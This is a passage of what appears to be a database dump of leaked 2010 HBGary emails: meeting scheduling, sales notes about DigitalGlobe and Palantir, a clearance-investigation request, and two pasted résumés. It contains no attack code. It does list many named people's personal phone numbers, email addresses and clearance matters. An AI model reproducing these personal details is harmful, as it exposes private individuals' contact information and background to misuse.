VHDL programming targeting a Xilinx Spartan III FPGA for use in COMSEC Type 1 Trunk Encoder Encryption /Decryption / Cryptographic Unit, in compliance with Line Encryption Units standards being developed for the NSA, Army, and Navy. My assignment was exclusively to the KIV-19M program. Work experience with ARM 7 processor implementing cryptographic algorithms. The tools utilized for the task were: ModelSim XE, PE, SE, and Xilinx Navigator 6.3.\r\n\r\nATI Consulting / Northrop-Grumman, Inc. Baltimore Maryland.\r\nContractor / FPGA Designer Sep 2003–Aug 2004\r\nDuties include: FPGA, VHDL and analog and digital hardware design for airborne radar / electronic countermeasure systems.Additional duties include documentation, presentations, testing, and project scheduling for the Northrop Grumman EA6B III and the Northrop Grumman F18G. Worked with high speed digital design of a large Xilinx CPLD operating at 100MHz, and additional multiple clock domains of 25MHz, 50Mhz.\r\n\r\nHarris Corporation Corp. Palm Bay, Florida\r\nElectrical Engineer II Apr 2000–Aug 2002\r\nDuties Include : Digital design, VHDL programming and test benching, hardware flight integrity analysis / simulation, analysis of analog circuits, as well as increased basic understanding of signal processing, RF circuits, and antenna design. Additionally, experience was gained with embedded programming for the Motorola 68HC16, configuring a Data IO programmer, and utilizing basic pieces of test equipment. Acquired experience test benching VHDL for clearance project, Fibre-Channel Arbitrated Loop network for Advanced Joint Strike Fighter / Apache Helicopter. Additional experience includes: hardware flight integrity analysis for the Comanche Helicopter, VHDL test benching for a memory controller and VHDL programming, analysis, and design for a section of avideo digital pipeline algorithms. Presented results of simulation / analysis of a high speed design, as a preliminary design review for a VHDL project. Programmed Xilinx Virtex/VirtexE FPGAs, and received extensive training on Virtex 2 FPGAs, as well as Altera Quartus FPGAs. Additionally, was assigned to a prestigious project, Special Emphasis Team and produced a UNIX based distributed computing project, Matlab Algorithm development .\r\n\r\n\r\nLucent Technologies, Inc. Naperville, Illinois\r\nMember Technical Staff 1 Dec 1997–Nov 1999\r\nDuties include : C/UNIX programming for class 5E Lucent telecommunication switches, diagnostics, telecommunication related skills. Utilized a variety of proprietary tool sets used for software revision management. My responsibility included: POTS, ISDN, and proprietary optical diagnostics, switch configuration and testing, and new software development. Gained experience with basic telecom maintenance, and attended Lucent Lecture Series, Lucent Technical Roadmap Series, Department and Group meetings, and received 40 hours of Lucent technical education per year. Additional education includes forty hours of Visual C++/OOP utilizing MFC / COM.\r\n\r\nO’Brien Consulting / AT&T, Inc. Chicago, Illinois\r\nConsultant / Telecom Designer May 1997–Oct 1997\r\nDuties include : New fiber-optic layout of Chicago Metro and Chicago Suburban loops. Worked with engineering, and used AutoCAD 14, concurrently while attending University of Illinois at Chicago.\r\n\r\nAdditional Work History Available Upon Request.\r\n\r\n\r\nSkills\r\nVHDL FPGA Verilog EDA Firmware Cryptography Digital\r\nAnalog PCB DSP Matlab C/C++ Linux Virtual OS\r\nAssembler Telecom Controls PLC Filters TCL 6811\r\nx86 Xilinx Altera Reconfiguration Testbench Signal Integrity UL\r\nPSpice EDK Chipscope ISE Quartus DDR2 I2C\r\nHDL Designer Symplicity ModelSim 800Mhz RF MathCAD POTS\r\nISDN RS232 RS485 Mil Std 1553 Virtex X Spartan X Cyclone X\r\nWind River RTOS FORTRAN BASIC SpecctraQuest NCVHDL VisualElite\r\nPADS DxDesigner RADAR SCADA Schematic SpyGlass Control\r\nADC/DAC/PLL VHDL Cores Airborne Fibre Channel Doppler Documentation AutoCad\r\nDO 254 Simulink System Generator StateCAD Parallel Proc Medical Consumer\r\n\r\nHonors\r\nResearch Assistant, Deans List, EIT, Won Design Engineering Competition\r\n\r\nSpecial\r\nToastmasters International Sergeant of Arms\r\n\r\n',4784,'aaron_hbgary_com/4784.html'),(11421,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008635.M24343P14101Q6276.eml','\"Upton, Ric\" <rupton@generalcatalyst.com>','Re: Discussions','Hey Ric,\r\n\r\nSorry for late reply I was just waiting for a few customer things to settle out.  Where will you be tomorrow?\r\n\r\nAaron\r\n\r\nOn Sep 3, 2010, at 11:53 AM, Upton, Ric wrote:\r\n\r\n> Aaron -\r\n> Good to hear from you. I happen to be back in DC on Weds and could stop by in the early afternoon if you have any time. Otherwise, we\'ll play it by ear on my next trip.\r\n> Look forward to getting together with you and continuing our conversation.\r\n> \r\n> Have a great weekend ... Ric\r\n> -- \r\n> Dr. Richard A. Upton\r\n> Executive in Residence\r\n> General Catalyst Partners\r\n> 20 University Road\r\n> Cambridge, MA  02138\r\n> Phone: (617) 234-6002\r\n> Cell: (781) 439-5359\r\n> Email: rupton@generalcatalyst.com\r\n> \r\n> ________________________________________\r\n> From: Aaron Barr [aaron@hbgary.com]\r\n> Sent: Friday, September 03, 2010 11:29 AM\r\n> To: Upton, Ric\r\n> Subject: Discussions\r\n> \r\n> Hi Rick,\r\n> \r\n> Sorry we have not gotten back to you.  Just got busy.  I would be happy to get together the next time your in town.  Just shoot me a note.\r\n> \r\n> Aaron\r\n\r\n',7608,'aaron_hbgary_com/7608.html'),(11422,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008635.M262954P14101Q6277.eml','\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>,\"Pugsley, Brandon\" <brandon.pugsley@lmco.com>','Re: EXTERNAL: Update from Ted','Hi Brandon,When are some good dates and times for you?AaronOn Sep 3, 2010, at 1:38 PM, Pugsley, Brandon wrote:I would be happy to meet with Aaron.Thanks,Brandon&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, September 03, 2010 1:21 PMTo:&nbsp;Pugsley, BrandonCc:&nbsp;Barr AaronSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;Brandon,&nbsp;Aaron Barr (cc\'d) is our CEO, and he\'s located in McLean VA. &nbsp;I\'d like to hand you over to him, and perhaps you two can set up a face-to-face discussion. &nbsp;Does that sound alright to you?&nbsp;Regards,TedOn Fri, Sep 3, 2010 at 11:00 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:I’m located in Herndon, VA and have some flexibility.Brandon&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, September 03, 2010 12:44 PMTo:&nbsp;Pugsley, BrandonSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;No problem Brandon,&nbsp;I just got back from two weeks of back-to-back travel and plan to be in the office (Colorado Springs) most of this month. &nbsp;Where are you physically located?&nbsp;Hope you have a nice long weekend too.&nbsp;Ted&nbsp;On Fri, Sep 3, 2010 at 10:41 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:Ted,&nbsp;I apologize for the length of time it has taken me to get back to you.&nbsp; I would like to follow-up with you, perhaps meet, and discuss some of the overarching trends you are seeing in the community.&nbsp; I have read and digested the whitepapers that you provided, and agree with many of your assessments.&nbsp;Let me know how your schedule looks, and have a good Labor Day weekend.&nbsp;Regards,Brandon&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 30, 2010 11:29 AMTo:&nbsp;Pugsley, BrandonCc:&nbsp;Mcculloch, Scott DSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;Hi Brandon,&nbsp;This week HBGary presented our new Fingerprint application atBlackhat. &nbsp;Fingerprint examines tool-marks left in executables anduses them to create a signature that can help with malware attributionand lineage -- ie finding the bad guys. &nbsp;We released Fingerprint as afree download, including the source-code, so organizations can tailorit to their unique mission and help advance the technology. &nbsp;We havelots of ideas on how this technology can be used in a big way to helpthe cyber fight. &nbsp;I look forward&nbsp;to discussing future teaming opportunities.You can download and find out more about our Fingerprint tool here:http://www.hbgary.com/community/free-tools/You can read more about our Blackhat talk here:http://gcn.com/articles/2010/07/28/digital-fingerprinting.aspx&nbsp;&nbsp;Regards,TedOn Fri, Jul 23, 2010 at 9:40 AM, Pugsley, Brandon &lt;brandon.pugsley@lmco.com&gt; wrote:Ted,&nbsp;Likewise!&nbsp; Scott did send me the whitepapers.&nbsp; Let me get a look and see what technical folks/activities tie in.&nbsp; I’m working across some of the broader initiatives, and your team’s expertise is well beyond my depth.&nbsp; I look forward to learning more about what you are working to accomplish, and seeing if we can leverage it appropriately.&nbsp;Best,Brandon&nbsp;&nbsp;Brandon PugsleyInformation Systems &amp; Global Services-SecurityBusiness Development, Advanced ProgramsOffice 703.466.2788Cell 703-999-9162Pager 800-200-5295brandon.pugsley@lmco.com&lt;image001.gif&gt;&nbsp;&nbsp;&nbsp;From:&nbsp;Ted Vera [mailto:ted@hbgary.com]&nbsp;Sent:&nbsp;Friday, July 23, 2010 11:18 AMTo:&nbsp;Pugsley, BrandonCc:&nbsp;Mcculloch, Scott DSubject:&nbsp;Re: EXTERNAL: Update from Ted&nbsp;Hi Brandon,&nbsp;Nice to virtually meet you. &nbsp;Did Scott attach the whitepapers? &nbsp;If not, I can resend. &nbsp;What areas of Cyber are you focused on.&nbsp;Regards,Ted&nbsp;&nbsp;On Fri, Jul 23, 2010 at 6:45 AM, Mcculloch, Scott D &lt;scott.d.mcculloch@lmco.com&gt; wrote:Ted,Goo dto hear from you. And no I have not got on facebook yet.On the CC line is Brandon, he is working some LM initiatives that could have some relevance to your companies capabilities.Scott D. McCullochBusiness Development - Capture Excellence Lockheed Martin IS&amp;GS - Security571-246-3148 (Cell)703-466-2315 (Office)-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com]Sent: Wednesday, July 14, 2010 5:12 PMTo: Mcculloch, Scott DSubject: EXTERNAL: Update from TedHi Scott,How\'s it going? &nbsp;Did you ever get up on Facebook?I\'m trying to drum up some business, and I thought you might be interested in what I\'ve been up to for the last six months or so. &nbsp;I run a small software development and services company, HBGary. &nbsp;We specialize in all things related to malware. &nbsp;Greg Hoglund is our CEO and founded the company in 2003. &nbsp;Greg is an accomplished author, world recognized leader in rootkit technology and was recently named one of \"10 hackers to know\" in Network Security magazine. &nbsp;We offer a number of Cyber services including malware reverse engineering, vulnerability research, exploit development, incident response, penetration testing, and digital forensics. &nbsp;We also have a mature product-line of COTS which assist in accomplishing those tasks.I\'ve attached three whitepapers that I think you may find interesting.&nbsp;The first is our analysis of the Aurora attack, the second is a how-to guide for using our REcon product to develop software exploits, and the third describes our latest Enterprise product, Active Defense.I\'d appreciate any introductions you can provide, if you know anyone that you think may be interested in our offerings, or advice you may have.Warm Regards,Ted--Ted H. VeraPresident | COOHBGary Federal719-237-8623http://www.hbgary.com--&nbsp;Ted H. VeraPresident | COOHBGary Federal719-237-8623--&nbsp;Ted H. VeraPresident | COOHBGary Federal719-237-8623--&nbsp;Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com--&nbsp;Ted Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary FederalOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623www.hbgary.com&nbsp;&nbsp;| &nbsp;ted@hbgary.com',5459,'aaron_hbgary_com/5459.html'),(11423,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008635.M553138P14101Q6278.eml','\"Moore, Adrianne\" <adrianne.moore@usis.com>','Re: Jonathan George Security Clearance Investigation','ok how about later afternoon. &nbsp;I have a 10:30 to 11:30 in Arlington on Glebe road, thats it for the day.AaronOn Sep 3, 2010, at 1:17 PM, Moore, Adrianne wrote:Aaron,&nbsp;Not a problem. I would appreciate if we could still meet. Next week I have Thursday full open and most afternoons the rest of the week. I am located in Arlington but can come to your office if that works for you. I believe Jonathan said you were in the area? Thank You.&nbsp;Adrianne Moore&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Friday, September 03, 2010 11:24 AMTo:&nbsp;Moore, AdrianneSubject:&nbsp;Re: Jonathan George Security Clearance Investigation&nbsp;Sorry Adrianne,&nbsp;I let this slip. &nbsp;Would you still like to set something up?&nbsp;Aaron&nbsp;On Aug 24, 2010, at 12:45 PM, Moore, Adrianne wrote:Mr. Barr,&nbsp;My name is Adrianne Moore and I am an Investigator with the United States Air Force. I am conducting a security clearance reinvestigation for&nbsp;Jonathan George.&nbsp;Jonathan George&nbsp;listed you as a reference and provided me with your email address as he did not have your current phone number. If at all possible I would like to set up a time that we could meet for a couple of minutes to speak about Jonathan George. My phone number is 540-446-7074. I appreciate your help in this process.&nbsp;Thank You,&nbsp;Adrianne Moore&nbsp;Adrianne Moore&nbsp;USIS/Investigator4000 Legato Rd2nd Floor Suite 200Fairfax, VA 22033&nbsp;(1-540)-446-7074&nbsp;adrianne.moore@usis.com&nbsp;&nbsp;&nbsp;The information contained in and transmitted with this e-mail is confidential. It is intended only for the individual or entity designated above. You are hereby notified that any dissemination, distribution, copying or use of or reliance on the information contained in and transmitted with this e-mail by or to anyone other than the recipient designated above by the sender is unauthorized and strictly prohibited. If you have received this e-mail in error, please contact the sender immediately and notify them that you received this in error. Any e-mail erroneously transmitted to you should be immediately destroyed. Thank you for your attention to this note of confidentiality.&nbsp;&nbsp;The information contained in and transmitted with this e-mail is confidential. It is intended only for the individual or entity designated above. You are hereby notified that any dissemination, distribution, copying or use of or reliance on the information contained in and transmitted with this e-mail by or to anyone other than the recipient designated above by the sender is unauthorized and strictly prohibited. If you have received this e-mail in error, please contact the sender immediately and notify them that you received this in error. Any e-mail erroneously transmitted to you should be immediately destroyed. Thank you for your attention to this note of confidentiality.&nbsp;',9741,'aaron_hbgary_com/9741.html'),(11424,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008635.M772388P14101Q6279.eml','\"Kerrigan, Jack\" <jkerrigan@BlackbirdTech.com>','Re: Discussion','I can do either, how about 1100am?\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 1:38 PM, Kerrigan, Jack wrote:\r\n\r\n> Hi Aaron:\r\n>        I hope you had a great Labor Day weekend. I can meet you at 11:00 a.m. or 3:00 p.m. tomorrow. Best, Jack\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 10:25 AM\r\n> To: Kerrigan, Jack\r\n> Cc: Penny Leavy\r\n> Subject: Discussion\r\n> \r\n> Hi Jack,\r\n> \r\n> Do you have some time tomorrow to get together?  I am pretty open focusing on finishing up some training material.\r\n> \r\n> Aaron\r\n\r\n',2379,'aaron_hbgary_com/2379.html'),(11425,'2010-09-08','\"Kerrigan, Jack\" <jkerrigan@BlackbirdTech.com>','/aaron@hbgary.com/new/1297008636.M244108P14101Q6281.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','Re: Discussion','Sounds good.\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: Kerrigan, Jack\r\nSent: Tue Sep 07 22:11:03 2010\nSubject: Re: Discussion\r\n\r\nI can do either, how about 1100am?\r\n\r\nAaron\r\n\r\nOn Sep 7, 2010, at 1:38 PM, Kerrigan, Jack wrote:\r\n\r\n> Hi Aaron:\r\n>        I hope you had a great Labor Day weekend. I can meet you at 11:00 a.m. or 3:00 p.m. tomorrow. Best, Jack\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Tuesday, September 07, 2010 10:25 AM\r\n> To: Kerrigan, Jack\r\n> Cc: Penny Leavy\r\n> Subject: Discussion\r\n> \r\n> Hi Jack,\r\n> \r\n> Do you have some time tomorrow to get together?  I am pretty open focusing on finishing up some training material.\r\n> \r\n> Aaron\r\n\r\n',2453,'aaron_hbgary_com/2453.html'),(11426,'2010-09-08','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008636.M29405P14101Q6280.eml','\"Ted Vera\" <ted@hbgary.com>','Mark and call with Palantir','Hey I need you and Mark to support a call with Palantir this week to discuss TMC, Fingerprint and what needs to be done to get the development going of integrating Fingerprint and TMC data into Palantir.  Talks of using Palantir as front end for the TMC, etc.\r\n\r\nWhen is a good day?\r\n\r\nAaron\r\n\r\n',2827,'aaron_hbgary_com/2827.html'),(11427,'2010-09-08','\"Shane Shook\" <sdshook@yahoo.com>','/aaron@hbgary.com/new/1297008636.M613315P14101Q6282.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: E-Discovery','Hi Aaron - still traveling, back in Malaysia for a couple of weeks again.\r\n&nbsp;\r\nI know quite a few people who might be able to help - where do you need the help?\r\n&nbsp;\r\n- Shane\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Shane Shook &lt;sdshook@yahoo.com&gt;Sent: Tue, September 7, 2010 7:02:07 PMSubject: E-DiscoveryHi Shane,How was your trip?&nbsp; Turns out everything went great for the Oracle PenTest we conducted.Have a question.&nbsp; By chance you don\'t know anyone with E-discovery experience, TS clearance that would like to consider a contingent offer to work E-discovery for TSA? :)Thanks,Aaron',4069,'aaron_hbgary_com/4069.html'),(11428,'2010-09-08','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297008636.M844477P14101Q6283.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>,,,','Fwd: Meeting next week at DigitalGlobe','Meeting next week with Digital Globe is confirmed.  See below.\r\nAaron and Ted will attend.\r\nI outlined the Meeting Agenda.\r\n \r\nBackground\r\nDigitalGlobe is a leader in satellite images and just won a $3billion contract.  Today they have 2,000 systems --50% Windows and 50% UNIX.  The IT Security Team has selected Active Defense for their IR solution.  The next step is to present to the IT Department for their buy-in and their approval to get implemented in the IT infrastructure.  Greg is attending to help DigitalGlobe executives better understand the ATP threat and what similar organizations are doing about it -- their specific interest is in DOD and NSA and other Intel agencies.  My purpose for Greg attending is to get DigitalGlobe to make Active Defense a priority.  My concern is that the company is growing fast and other priorities could rise about Active Defense.  The money is allocated-- the issue is making Active Defense a priority.\r\n\r\n \r\nThe company will need managed services initially for Triage and also for RE and writing IDS signatures.  Eventually they will need security clearances but not today.\r\n \r\nDigitalGlobe is also negotiating Social Media training with HBGary Federal and they have consulting requirements as well.  They have asked Ted and Aaron to attend and present on Social Media Training.  Ted will also run the End Games Report.\r\n\r\n \r\nVery important to know is that Phil did some malware analysis and confirmed that they have APT.  Phil presented already to the IT Security Team but we will want to add it to our presentation as well.\r\n \r\nAttached is my idea of what needs to be presented.  Greg I will call you to review the Agenda -- make any recommended changes - and will update the calendar with location and contacts.\r\n \r\n \r\n \r\nMaria\r\n \r\n \r\n \r\n \r\n \r\nhttp://media.digitalglobe.com/index.php?s=43&amp;item=225\r\nThe agreement provides for DigitalGlobe to supply satellite imagery deliveries from the WorldView satellite constellation under a Service Level Agreement (&quot;EnhancedView SLA&quot;) in a total amount of $2.8 billion. The agreement also provides for up to $750 million for value added products, infrastructure enhancements and other services.\r\n\r\n \r\n \r\n---------- Forwarded message ----------From: Daniel Collender &lt;dcollend@digitalglobe.com&gt;\r\nDate: Tue, Sep 7, 2010 at 9:25 AMSubject: RE: Meeting next weekTo: Maria Lucas &lt;maria@hbgary.com&gt;Cc: Brian Coulson &lt;bcoulson@digitalglobe.com&gt;\r\n\r\n\r\n\r\nHi Maria,\r\n \r\nEverything is moving forward for our planned discussion next Monday, September 13th beginning at noon. Both the CIO and CTO will be in attendance at the lunchtime meeting. We hope to have additional senior level executives there as well.\r\n\r\n \r\nPlease work with Brian Coulson to confirm the agenda for next week. \r\n \r\nAll the best,\r\nDan\r\n \r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] Sent: Wednesday, September 01, 2010 2:40 PM\r\nTo: Daniel CollenderCc: Brian CoulsonSubject: Meeting next week\r\n\r\n\r\n\r\n \r\nHi Dan\r\n\r\n \r\n\r\nDo you have a minute today to discuss next week&#39;s meeting and agenda?  Greg Hoglund would like to actually come onsite if it makes sense -- he is very interested in DigitalGlobe&#39;s business?\r\n\r\n\r\n \r\n\r\nGreg is a frequent speaker for BlackHat, NSA and considered a leading expert on rootkits and ATP.....  he can do a great job presenting  to the IT staff.\r\n\r\n \r\n\r\nWhen is a good time to talk about this?  I can be reached on my cell phone: 805-890-0401.\r\n\r\n \r\n\r\nMaria\r\n\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  -- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971\r\nemail: maria@hbgary.com   \r\n',14676,'aaron_hbgary_com/14676.html'),(11429,'2010-09-08','\"William Luti\" <wluti@digitalmanagement.com>','/aaron@hbgary.com/new/1297008637.M303755P14101Q6285.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Resume','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks Aaron. Check in when you can this morning and I can bring\r\nyou up to speed. We are in very good shape given the bombshell dropped by NGC.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, September 07, 2010 9:56 PM\r\nTo: William Luti\r\nCc: John Fanguy\r\nSubject: Resume\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHey Bill,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nJust put the kids to sleep and heard your\r\nmessage...here are a few resumes for you to review. &nbsp;Not sure if they are\r\nexact fits but might work in a pinch.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nActive TS/SCI Active\r\nClearance&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nWORK EXPERIENCE:\r\n\r\nDefense\r\nInformation Systems Agency - Connection Approval Office - Falls Church,\r\nVirginia -&nbsp;October 2009 &#8211; Present\r\n\r\nIA\r\nAnalyst &nbsp;&nbsp;\r\n\r\nMaintain\r\nconnection approval process (CAP) through certification and accreditation\r\n(C&amp;A) documentation\r\n\r\nPerform\r\nrisk analysis, which also includes risk management, assessments and&nbsp;security penetration testing.\r\n\r\nInterfaces\r\nwith user community to understand their security needs and implements\r\nprocedures that ensures user community understands and adheres to necessary\r\nprocedures to maintain security\r\n\r\nAssist\r\nsecurity team with accurate evaluation of the level of security required to\r\nmitigate identified risks and/or achieve compliance\r\n\r\nReview\r\ncertification and accreditation (C&amp;A) documentation to support the DIACAP\r\napproval process within the Department of Defense (DOD)\r\n\r\nReview\r\nand track C&amp;A documentation provided by programs of record (POR), centrally\r\nmanaged systems, Joint Programs and Systems, Legacy, site, Architecture and\r\nlocally acquired programs to ensure that DITSCAP/DIACAP documentation complies\r\nwith the provision of DoD 8500 series IA policy directives and the DoD 8510.01\r\n(DIACAP) instruction\r\n\r\nProvide\r\ndocumentation security analysis and review; summarize required information in\r\nC&amp;A Endorsement Letters to support C&amp;A risk determination and IATC/ATC\r\nConnection Aproval recommendations\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nDepartment\r\nof Treasury - Security Operations Center - McLean, Virginia -&nbsp;September\r\n2008 &#8211; October 2009\r\n\r\nSecurity\r\nAnalyst\r\n\r\nPerform daily Intrusion Detection Sensor (IDS)\r\nmonitoring to ensure that all sensors are active.\r\n\r\nReview alerts and packet-level data collected\r\nfrom sensors on a daily basis and report findings to the government Watch\r\nOfficer (WO).\r\n\r\nProvide incident response functions when\r\nappropriate and coordinate activities with field site personnel when directed\r\nby the government WO.\r\n\r\nSupport the government WO in publishing\r\nincidents, alerts, advisories and bulletins as required.\r\n\r\nConduct research pertaining to the latest\r\nviruses, worms, etc. and the latest technological advances in combating\r\nunauthorized access to information.\r\n\r\nSubmit an End-of-Shift Report summarizing\r\nactivities for each shift.\r\n\r\n&nbsp;\r\n\r\nFederal\r\nAviation Administration - Cyber Security Management Center - Leesburg, Virginia&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;-&nbsp;November\r\n2007 &#8211; September 2008\r\n\r\nNetwork\r\nSecurity Engineer Research and Development\r\n\r\nResearch,\r\ndevelop and evaluate applications, software packages, and appliances to assist\r\nthe CSMC operation&#8217;s Duty Analyst in performing daily Intrusion Detection\r\nSensor (IDS) monitoring of LOBs.\r\n\r\nReview\r\nin test lab various solutions to aid the Enterprise Security Information\r\nManagement (SIM) tool interface as the tool correlates and aggregates alert\r\ndata from multiple IDS sensor types and additional security devices.\r\n\r\nResearch\r\nand recommend a wide array of technologies to assist CSMC Duty Analysts in\r\ntheir task of reporting findings to the government Watch Officer (WO) on alert\r\nand packet-level data collection from the CSMC&#8217;s field sensors.\r\n\r\nConduct\r\nresearch pertaining to the latest viruses, worms, etc. and the latest\r\ntechnological advances in combating unauthorized access to information\r\n\r\nThe\r\nR&amp;D team manages all aspects of the evaluation process, to include; needs\r\nassessment, requirements definition, criteria matrix, evaluation planning, lab\r\nset up &amp; maintenance, test data preparation, formal product testing and\r\ntechnical writing documentation.\r\n\r\n&nbsp;\r\n\r\nNational\r\nGeospatial Intelligence Agency - Network Operations - Reston, Virginia\r\n-&nbsp;August 2005 &#8211; November 2007\r\n\r\nSr.\r\nSystems Administrator\r\n\r\nTroubleshooting\r\nand resolving a wide range of complex system, software, hardware, and network\r\nissues to include planning and implementing system, data and database backup\r\nand recoveries\r\n\r\nTroubleshooting\r\nnetwork components utilizing various network protocols, and domain wide account\r\nmanagement via Active Directory Users and Computers\r\n\r\nInstalling,\r\nconfiguring and maintaining Windows servers, workstations and laptops\r\n\r\nPerforming\r\ninstallations and upgrades to operating systems, various software packages and\r\nmaintaining all systems in accordance with established policies, procedures and\r\nservice level agreements\r\n\r\nProvide\r\nthe engineering and technical expertise to track, assess, manage, and impact\r\nchanges to the baseline of systems under management by NGA Implementing and\r\nmanaging appropriate technical solutions and insuring all Service Level\r\nAgreements are met\r\n\r\n&nbsp;\r\n\r\nUS\r\nInvestigation Services &#8211; Information Technology Department - Falls\r\nChurch, Virginia -&nbsp;December 2002 &#8211; August 2005\r\n\r\nNetwork/Systems\r\nAdministrator\r\n\r\nProvided\r\nnetwork management, web services, file and print sharing resources, technical\r\nassistance, and diagnosed hardware/software issues for corporate clients in a\r\nWindows 2000/2003 Server multi-platform and Unix Server (15 to 20%) environment\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nMaintained\r\nthe availability of company computer systems including servers, workstations,\r\nlaptops, printers and multimedia equipment\r\n\r\nManaged\r\nlocal and domain wide groups through Active Directory supporting over 300 users\r\n\r\nDesktop\r\nSupport for all areas including printing, networking, and telecommunications&nbsp;\r\nHardware/Software testing, recommendation and implementation\r\n\r\nUse\r\nof Security Information Management/Security Event Management (SIM/SEM) tools\r\n\r\nUse\r\nof network mapping tools such as Nmap and SuperScan for network inventory,\r\nmanaging service upgrade schedules, and monitor host or service uptime\r\n\r\nDetermined\r\nhosts availability on the network, what services (application name and version)\r\nthose hosts are offering, what operating systems (and OS versions) they are\r\nrunning, what type of packet filters/firewalls are in use, TCP port scanning,\r\npinging, and traceroute\r\n\r\nUse\r\nof enterprise antivirus application with various Operating Systems and LAN/WAN\r\ntechnologies\r\n\r\n&nbsp;\r\n\r\nUnited\r\nStates Marine Corps - Quantico, Virginia -&nbsp;July 1998 &#8211; July 2002\r\n\r\nCombat\r\nVisual Information Specialist\r\n\r\nCurrent\r\nStatus: Corporal (NCO) Veteran&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nWell-developed\r\norganizational and leadership skills&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nTraveled\r\nthe continental U.S. and over seas providing photographic support for Marine\r\nCorps wide imagery databases&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nSkilled\r\nprofessional Marine photographer of the U.S. Marine Corps Combat Visual\r\nInformation Center&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nDeveloped\r\ninteractive archival programs for the U.S. Marine Corps Combat Visual\r\nInformation Center (CVIC)&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nCreated\r\ngraphic illustrations and video documentation used to aid in military\r\ntraining&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nAided\r\nin the development of department web site and trained as microcomputer repair\r\ntechnician &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\r\nOperated\r\nas Information System Coordinator for the U.S. Marine Corps Combat Visual\r\nInformation Center in Quantico Virginia. Managed research and development of\r\ndepartment wide Information System PC upgrade\r\n\r\n&nbsp;\r\n\r\nEDUCATION:\r\n\r\n&nbsp;B.S.\r\nComputer Information Systems,&nbsp;Strayer University&nbsp;\r\n\r\nSCNA/SCP\r\n&nbsp;&nbsp;(Security Certified Network Architect)&nbsp;&nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;\r\n&nbsp; &nbsp; &nbsp; 